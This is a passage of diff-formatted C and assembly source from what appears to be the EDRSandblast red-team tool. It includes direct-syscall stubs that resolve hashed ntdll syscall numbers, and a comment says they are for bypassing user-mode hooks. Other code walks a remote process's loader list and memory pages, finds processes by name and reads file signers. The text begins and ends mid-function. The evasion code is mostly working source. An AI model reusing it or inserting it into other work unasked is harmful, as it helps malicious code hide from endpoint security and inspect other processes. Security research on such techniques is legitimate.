NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID) ldrEntry->FullDllName.Buffer, newModuleInfo->dllName, ldrEntry->FullDllName.Length, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't retrieve dllName from Ldr entry (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return newModuleInfo;
|
||||
}
|
||||
|
||||
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess) {
|
||||
PMODULE_INFO pmoduleList = NULL;
|
||||
NTSTATUS status = FALSE;
|
||||
|
||||
// Retrieve the remote process Ldr address as pseudo PLDR_DATA_TABLE_ENTRY.
|
||||
PLDR_DATA_TABLE_ENTRY pLdrAddressInPeb = getPebLdrAddress(hProcess);
|
||||
if (!pLdrAddressInPeb) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Iterate over the linked list by InMemoryOrderModuleList order.
|
||||
LDR_DATA_TABLE_ENTRY LdrCurrentEntry;
|
||||
PLDR_DATA_TABLE_ENTRY pLdrCurrentEntryAddress = pLdrAddressInPeb;
|
||||
|
||||
while (TRUE) {
|
||||
// Add InMemoryOrderLinks offset to iterate on InMemoryOrderLinks order (by retrieving the ptr at InMemoryOrderLinks).
|
||||
status = NtReadVirtualMemory(hProcess, ((PBYTE) pLdrCurrentEntryAddress) + offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &pLdrCurrentEntryAddress, sizeof(PLDR_DATA_TABLE_ENTRY), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList first element address (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Substract InMemoryOrderLinks offset to be at the top of the LDR_DATA_TABLE_ENTRY struct.
|
||||
pLdrCurrentEntryAddress = (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pLdrCurrentEntryAddress) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
|
||||
|
||||
// Looped back to the first entry.
|
||||
if (pLdrAddressInPeb == pLdrCurrentEntryAddress) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Read LDR_DATA_TABLE_ENTRY data for the current element.
|
||||
status = NtReadVirtualMemory(hProcess, pLdrCurrentEntryAddress, &LdrCurrentEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList next element (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Create module info for list using the current LDR_DATA_TABLE_ENTRY entry.
|
||||
PMODULE_INFO pnewModuleInfo = createModuleInfo(hProcess, &LdrCurrentEntry);
|
||||
if (!pnewModuleInfo) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Insert the new module info element to the module list.
|
||||
if (!pmoduleList) {
|
||||
pmoduleList = pnewModuleInfo;
|
||||
}
|
||||
else {
|
||||
PMODULE_INFO plastModule = pmoduleList;
|
||||
while (plastModule->next) {
|
||||
plastModule = plastModule->next;
|
||||
}
|
||||
plastModule->next = pnewModuleInfo;
|
||||
}
|
||||
}
|
||||
|
||||
return pmoduleList;
|
||||
}
|
||||
|
||||
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage) {
|
||||
PMEMORY_PAGE_INFO prangesList = NULL;
|
||||
PMEMORY_PAGE_INFO newRange = NULL;
|
||||
PVOID baseAddress = NULL;
|
||||
PVOID currentAddress = NULL;
|
||||
ULONG64 regionSize = 0;
|
||||
MEMORY_INFORMATION_CLASS memoryInfoClass = { 0 };
|
||||
MEMORY_BASIC_INFORMATION memoryBasicInfo = { 0 };
|
||||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
while (TRUE) {
|
||||
status = NtQueryVirtualMemory(hProcess, (PVOID)currentAddress, memoryInfoClass, &memoryBasicInfo, sizeof(memoryBasicInfo), NULL);
|
||||
|
||||
// The specified base address is outside the range of accessible addresses, iteration is finished.
|
||||
if (status == STATUS_INVALID_PARAMETER) {
|
||||
break;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't query memory page (NtQueryVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
baseAddress = memoryBasicInfo.BaseAddress;
|
||||
regionSize = memoryBasicInfo.RegionSize;
|
||||
|
||||
// Overflow.
|
||||
if (((ULONG_PTR) baseAddress + regionSize) < (ULONG_PTR) baseAddress) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Next memory range.
|
||||
currentAddress = (PVOID) GetRVA((ULONG_PTR) baseAddress, (ULONG_PTR) regionSize);
|
||||
|
||||
if (filterPage) {
|
||||
// Ignore non-commited pages.
|
||||
if (memoryBasicInfo.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore mapped pages.
|
||||
if (memoryBasicInfo.Type == MEM_MAPPED) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_NOACCESS. {
|
||||
if ((memoryBasicInfo.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_GUARD.
|
||||
if ((memoryBasicInfo.Protect & PAGE_GUARD) == PAGE_GUARD) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_EXECUTE. {
|
||||
if ((memoryBasicInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
newRange = calloc(1, sizeof(MEMORY_PAGE_INFO));
|
||||
if (!newRange) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't allocate memory for new MEMORY_RANGE_INFO"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
newRange->next = NULL;
|
||||
newRange->startOfMemoryPage = (ULONG_PTR)baseAddress;
|
||||
newRange->dataSize = regionSize;
|
||||
newRange->state = memoryBasicInfo.State;
|
||||
newRange->protect = memoryBasicInfo.Protect;
|
||||
newRange->type = memoryBasicInfo.Type;
|
||||
|
||||
if (!prangesList) {
|
||||
prangesList = newRange;
|
||||
}
|
||||
else {
|
||||
PMEMORY_PAGE_INFO lastRange = prangesList;
|
||||
while (lastRange->next) {
|
||||
lastRange = lastRange->next;
|
||||
}
|
||||
lastRange->next = newRange;
|
||||
}
|
||||
}
|
||||
|
||||
if (!prangesList) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't retrieve any page"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return prangesList;
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
#include "PEBBrowse.h"
|
||||
#include "PEParser.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW2_SYSCALL_LIST SW2_SyscallList;
|
||||
|
||||
DWORD SW2_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW2_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
|
||||
Hash ^= PartialName + SW2_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
int CmpSyscallEntriesByRVA(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
|
||||
if (a->RVA < b->RVA) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->RVA > b->RVA) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CmpSyscallEntriesByHash(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
|
||||
if (a->Hash < b->Hash) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->Hash > b->Hash) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL SW2_PopulateSyscallList(void)
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW2_SyscallList.Count) return TRUE;
|
||||
|
||||
PE* ntdll = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
|
||||
// Populate SW2_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]);
|
||||
if (*(WORD*)functionName == *((WORD*)"Zw")) {
|
||||
Entries[i].Hash = SW2_HashSyscall(functionName);
|
||||
Entries[i].RVA = PE_functionRVA(ntdll, functionName);
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW2_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByRVA);
|
||||
|
||||
// Deduce the syscall numbers.
|
||||
for (DWORD j = 0; j < SW2_SyscallList.Count; j++) {
|
||||
SW2_SyscallList.Entries[j].SyscallNumber = j;
|
||||
}
|
||||
|
||||
// Sort the list by hash for quicker search.
|
||||
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByHash);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW2_SyscallList is populated.
|
||||
if (!SW2_PopulateSyscallList()) return 0xFFFFFFFF;
|
||||
|
||||
DWORD down = 0;
|
||||
DWORD up = SW2_SyscallList.Count;
|
||||
while (up - down > 1) {
|
||||
DWORD mid = (down + up) / 2;
|
||||
if (SW2_SyscallList.Entries[mid].Hash <= FunctionHash) {
|
||||
down = mid;
|
||||
}
|
||||
else {
|
||||
up = mid;
|
||||
}
|
||||
}
|
||||
if (SW2_SyscallList.Entries[down].Hash == FunctionHash) {
|
||||
return SW2_SyscallList.Entries[down].SyscallNumber;
|
||||
}
|
||||
else {
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.data
|
||||
currentHash DWORD 0
|
||||
|
||||
.code
|
||||
EXTERN SW2_GetSyscallNumber: PROC
|
||||
|
||||
WhisperMain PROC
|
||||
pop rax
|
||||
mov [rsp+ 8], rcx ; Save registers.
|
||||
mov [rsp+16], rdx
|
||||
mov [rsp+24], r8
|
||||
mov [rsp+32], r9
|
||||
sub rsp, 28h
|
||||
mov ecx, currentHash
|
||||
call SW2_GetSyscallNumber
|
||||
add rsp, 28h
|
||||
mov rcx, [rsp+ 8] ; Restore registers.
|
||||
mov rdx, [rsp+16]
|
||||
mov r8, [rsp+24]
|
||||
mov r9, [rsp+32]
|
||||
mov r10, rcx
|
||||
syscall ; Issue syscall
|
||||
ret
|
||||
WhisperMain ENDP
|
||||
|
||||
NtGetNextProcess PROC
|
||||
mov currentHash, 0CD50C4CCh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtGetNextProcess ENDP
|
||||
|
||||
NtQueryInformationProcess PROC
|
||||
mov currentHash, 055A17810h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtQueryInformationProcess ENDP
|
||||
|
||||
NtClose PROC
|
||||
mov currentHash, 054DEA057h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtClose ENDP
|
||||
|
||||
NtAllocateVirtualMemory PROC
|
||||
mov currentHash, 08708BDBBh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtAllocateVirtualMemory ENDP
|
||||
|
||||
NtOpenProcess PROC
|
||||
mov currentHash, 0FDBCE430h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtOpenProcess ENDP
|
||||
|
||||
NtQueryVirtualMemory PROC
|
||||
mov currentHash, 083906983h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtQueryVirtualMemory ENDP
|
||||
|
||||
NtReadVirtualMemory PROC
|
||||
mov currentHash, 0309A0DDEh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtReadVirtualMemory ENDP
|
||||
|
||||
NtCreateFile PROC
|
||||
mov currentHash, 086A15898h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtCreateFile ENDP
|
||||
|
||||
NtWriteFile PROC
|
||||
mov currentHash, 0B224DCF0h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtWriteFile ENDP
|
||||
|
||||
end
|
||||
@@ -0,0 +1,204 @@
|
||||
#include "SignatureOps.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
// Concat in pSigners output the list of Signer(s) signing the specified file on disk.
|
||||
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners) {
|
||||
HCERTSTORE hCertStore = NULL;
|
||||
HCRYPTMSG hCryptMsg = NULL;
|
||||
DWORD dwCountSigners = 0;
|
||||
DWORD dwcbSz = sizeof(DWORD), dwcbSzPrevious = sizeof(DWORD);
|
||||
PCMSG_SIGNER_INFO pSignerInfo = NULL;
|
||||
CERT_INFO certificateInfo = { 0 };
|
||||
PCCERT_CONTEXT pCertContext = NULL;
|
||||
TCHAR* tmpSignerName = NULL;
|
||||
TCHAR* pSigners = NULL;
|
||||
TCHAR* tmpSignerHolder = NULL;
|
||||
size_t sztmpSignerHolder = 0;
|
||||
TCHAR signerSeperator[] = TEXT(" | ");
|
||||
DWORD dwError = 0;
|
||||
BOOL returnStatus = 0;
|
||||
|
||||
returnStatus = CryptQueryObject(CERT_QUERY_OBJECT_FILE,
|
||||
pFilePath,
|
||||
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
|
||||
CERT_QUERY_FORMAT_FLAG_BINARY,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&hCertStore,
|
||||
&hCryptMsg,
|
||||
NULL);
|
||||
|
||||
if (!returnStatus) {
|
||||
dwError = GetLastError();
|
||||
// File is not signed.
|
||||
if (dwError == CRYPT_E_NO_MATCH) {
|
||||
return E_NOT_SIGNED;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't retrieve certificate objects of file \"%s\" (CryptQueryObject(CERT_QUERY_OBJECT_FILE) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
return E_KO;
|
||||
}
|
||||
}
|
||||
|
||||
// Check that the file has at least one Signer.
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_COUNT_PARAM, 0, &dwCountSigners, &dwcbSz);
|
||||
if (!returnStatus) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get number of signers of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_COUNT_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (dwCountSigners == 0) {
|
||||
_tprintf_or_not(TEXT("[-] \"%s\" file is not digitally signed by at least one signer\n"), pFilePath);
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
return E_NOT_SIGNED;
|
||||
}
|
||||
|
||||
// Get Signer name of each certificates and concat to Signers string.
|
||||
for (DWORD index = 0; index < dwCountSigners; index++) {
|
||||
// index = 0;
|
||||
dwcbSz = 0;
|
||||
if (pSignerInfo) {
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
}
|
||||
if (tmpSignerName) {
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
}
|
||||
if (pCertContext) {
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
}
|
||||
|
||||
// Retrieve the CMSG_SIGNER_INFO_PARAM that contains the information to build CERT_INFO (Issuer and SerialNumber).
|
||||
// First call CryptMsgGetParam to retrieve the size neeeded for the buffer.
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, NULL, &dwcbSz);
|
||||
if (!returnStatus || !dwcbSz) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) for size failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate the size needed by CryptMsgGetParam to retrieve CMSG_SIGNER_INFO_PARAM.
|
||||
pSignerInfo = (PCMSG_SIGNER_INFO)calloc(dwcbSz, sizeof(BYTE));
|
||||
if (!pSignerInfo) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for PCMSG_SIGNER_INFO"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Retrieve the CMSG_SIGNER_INFO_PARAM of the certificate and validate the return.
|
||||
dwcbSzPrevious = dwcbSz;
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, pSignerInfo, &dwcbSz);
|
||||
if (!returnStatus || (dwcbSzPrevious != dwcbSz)) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Build CERT_INFO for certificate lookup using CertFindCertificateInStore.
|
||||
memset(&certificateInfo, 0, sizeof(CERT_INFO));
|
||||
certificateInfo.Issuer = pSignerInfo->Issuer;
|
||||
certificateInfo.SerialNumber = pSignerInfo->SerialNumber;
|
||||
|
||||
// Certificate lookup matching the Issuer and SerialNumber in hCertStore.
|
||||
pCertContext = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificateInfo, NULL);
|
||||
if (!pCertContext) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't find certificate of file \"%s\" in store (CertFindCertificateInStore failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Retrieves the subject name. First call is done to determine the subject name size.
|
||||
dwcbSz = CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, NULL, 0);
|
||||
tmpSignerName = calloc(dwcbSz, sizeof(TCHAR));
|
||||
if (!tmpSignerName) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for decoded certificate Subject name."));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, tmpSignerName, dwcbSz);
|
||||
if (!tmpSignerName) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't retrieve decoded Subject name of certificate of file \"%s\" (CertNameToStr failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Concat the subject to the already found ones, if any.
|
||||
if (pSigners) {
|
||||
sztmpSignerHolder = _tcsclen(pSigners) + _tcsclen(signerSeperator) + _tcsclen(tmpSignerName) + 1;
|
||||
tmpSignerHolder = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
|
||||
if (!tmpSignerHolder) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for concatenated signers"));
|
||||
goto cleanup;
|
||||
}
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, pSigners);
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, signerSeperator);
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, tmpSignerName);
|
||||
free(pSigners);
|
||||
pSigners = tmpSignerHolder;
|
||||
break;
|
||||
}
|
||||
else {
|
||||
sztmpSignerHolder = _tcsclen(tmpSignerName) + 1;
|
||||
pSigners = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
|
||||
if (!pSigners) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for first signer"));
|
||||
goto cleanup;
|
||||
}
|
||||
_tcscpy_s(pSigners, sztmpSignerHolder, tmpSignerName);
|
||||
}
|
||||
}
|
||||
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
|
||||
if (!outSigners || (*szOutSigners < sztmpSignerHolder)) {
|
||||
*szOutSigners = sztmpSignerHolder;
|
||||
free(pSigners);
|
||||
return E_INSUFFICIENT_BUFFER;
|
||||
}
|
||||
else {
|
||||
*szOutSigners = sztmpSignerHolder;
|
||||
_tcscat_s(outSigners, sztmpSignerHolder, pSigners);
|
||||
free(pSigners);
|
||||
return E_SUCCESS;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pCertContext) {
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
}
|
||||
|
||||
if (hCryptMsg) {
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
}
|
||||
|
||||
if (hCertStore) {
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
}
|
||||
|
||||
if (pSignerInfo) {
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
}
|
||||
|
||||
if (tmpSignerName) {
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
}
|
||||
|
||||
return E_KO;
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
/*
|
||||
|
||||
--- Utility function to generate a random string.
|
||||
|
||||
*/
|
||||
|
||||
#include "StringUtils.h"
|
||||
|
||||
//BOOL isFullPath(IN TCHAR* filename) {
|
||||
// char c;
|
||||
//
|
||||
// if (filename[0] == filename[1] && filename[1] == TEXT('\\')) {
|
||||
// return TRUE;
|
||||
// }
|
||||
//
|
||||
// c = filename[0] | 0x20;
|
||||
// if (c < 97 || c > 122) {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// c = filename[1];
|
||||
// if (c != ':') {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// c = filename[2];
|
||||
// if (c != '\\') {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// return TRUE;
|
||||
//}
|
||||
|
||||
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* wcharString) {
|
||||
unicodeString->Buffer = wcharString;
|
||||
unicodeString->Length = (WORD)_tcslen(unicodeString->Buffer) * sizeof(WCHAR);
|
||||
unicodeString->MaximumLength = unicodeString->Length + sizeof(WCHAR);
|
||||
}
|
||||
|
||||
BOOL srandDone = FALSE;
|
||||
|
||||
/*
|
||||
* Generates a "length"-long random alphanumeric string
|
||||
* Assumes the allocation is big enough to receive "length" chararcters (so is at least "length + 1" long)
|
||||
*/
|
||||
TCHAR* generateRandomString(TCHAR* str, size_t length) {
|
||||
if (!srandDone) {
|
||||
srand((unsigned int)time(0));
|
||||
srandDone = TRUE;
|
||||
}
|
||||
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (length) {
|
||||
for (size_t n = 0; n < length; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[length] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
TCHAR* allocAndGenerateRandomString(size_t length) {
|
||||
LPTSTR str = calloc(length + 1, sizeof(TCHAR));
|
||||
if (str == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
generateRandomString(str, length);
|
||||
return str;
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
#include "SyscallProcessUtils.h"
|
||||
|
||||
// Retrieve a given process PID.
|
||||
DWORD SandGetProcessPID(HANDLE hProcess) {
|
||||
PROCESS_BASIC_INFORMATION basicInformation;
|
||||
basicInformation.UniqueProcessId = 0;
|
||||
PROCESSINFOCLASS ProcessInformationClass = 0;
|
||||
|
||||
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInformation, sizeof(PROCESS_BASIC_INFORMATION), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't retrieve process PID as NtQueryInformationProcess syscall failed with error 0x%x.\n"), status);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (DWORD) basicInformation.UniqueProcessId;
|
||||
}
|
||||
|
||||
// Retrieve a given process image (PE full path).
|
||||
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess) {
|
||||
NTSTATUS status;
|
||||
ULONG ProcessImageLength = 1;
|
||||
PUNICODE_STRING ProcessImageBuffer = NULL;
|
||||
|
||||
do {
|
||||
ProcessImageBuffer = calloc(ProcessImageLength, sizeof(TCHAR));
|
||||
if (!ProcessImageBuffer) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process image\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ProcessImageBuffer, ProcessImageLength, &ProcessImageLength);
|
||||
if (NT_SUCCESS(status)) {
|
||||
break;
|
||||
}
|
||||
|
||||
free(ProcessImageBuffer);
|
||||
ProcessImageBuffer = NULL;
|
||||
} while (status == STATUS_INFO_LENGTH_MISMATCH);
|
||||
|
||||
if (!ProcessImageBuffer) {
|
||||
_tprintf_or_not(TEXT("[-] Failed to retrieve process image\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ProcessImageBuffer;
|
||||
}
|
||||
|
||||
// Extract filename from process image full path.
|
||||
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize) {
|
||||
if (ProcessImageUnicodeStr->Length == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Process name will be /binary.exe.
|
||||
TCHAR* ProcessName = _tcsrchr(ProcessImageUnicodeStr->Buffer, TEXT('\\'));
|
||||
if (!ProcessName) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Skip the /.
|
||||
ProcessName = &ProcessName[1];
|
||||
|
||||
DWORD ProcessNameLength = (DWORD)_tcslen(ProcessName);
|
||||
if (ProcessNameLength > nSize) {
|
||||
_tprintf_or_not(TEXT("[-] Input buffer size is too small for file name\n"));
|
||||
return 0;
|
||||
}
|
||||
|
||||
_tcsncat_s(ImageFileName, nSize, ProcessName, _TRUNCATE);
|
||||
return ProcessNameLength;
|
||||
}
|
||||
|
||||
// Find a process PID using its filename.
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid) {
|
||||
DWORD status = STATUS_UNSUCCESSFUL;
|
||||
HANDLE hProcess = NULL;
|
||||
PUNICODE_STRING currentProcessImage = NULL;
|
||||
TCHAR* currentProcessName = NULL;
|
||||
DWORD currentProcessNameSz = 0;
|
||||
|
||||
*pPid = 0;
|
||||
|
||||
while (*pPid == 0) {
|
||||
status = NtGetNextProcess(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess);
|
||||
|
||||
if (status == STATUS_NO_MORE_ENTRIES) {
|
||||
_tprintf_or_not(TEXT("[-] The process '%s' was not found\n"), targetProcessName);
|
||||
return STATUS_NO_MORE_ENTRIES;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall NtGetNextProcess failed with error 0x%x.\n"), status);
|
||||
return status;
|
||||
}
|
||||
|
||||
currentProcessImage = SandGetProcessImage(hProcess);
|
||||
currentProcessName = calloc(currentProcessImage->MaximumLength, sizeof(TCHAR));
|
||||
if (!currentProcessName) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process filename\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentProcessNameSz = SandGetProcessFilename(currentProcessImage, currentProcessName, currentProcessImage->MaximumLength);
|
||||
|
||||
if (currentProcessNameSz != 0 && !_tcsicmp(targetProcessName, currentProcessName)) {
|
||||
*pPid = SandGetProcessPID(hProcess);
|
||||
break;
|
||||
}
|
||||
|
||||
free(currentProcessImage);
|
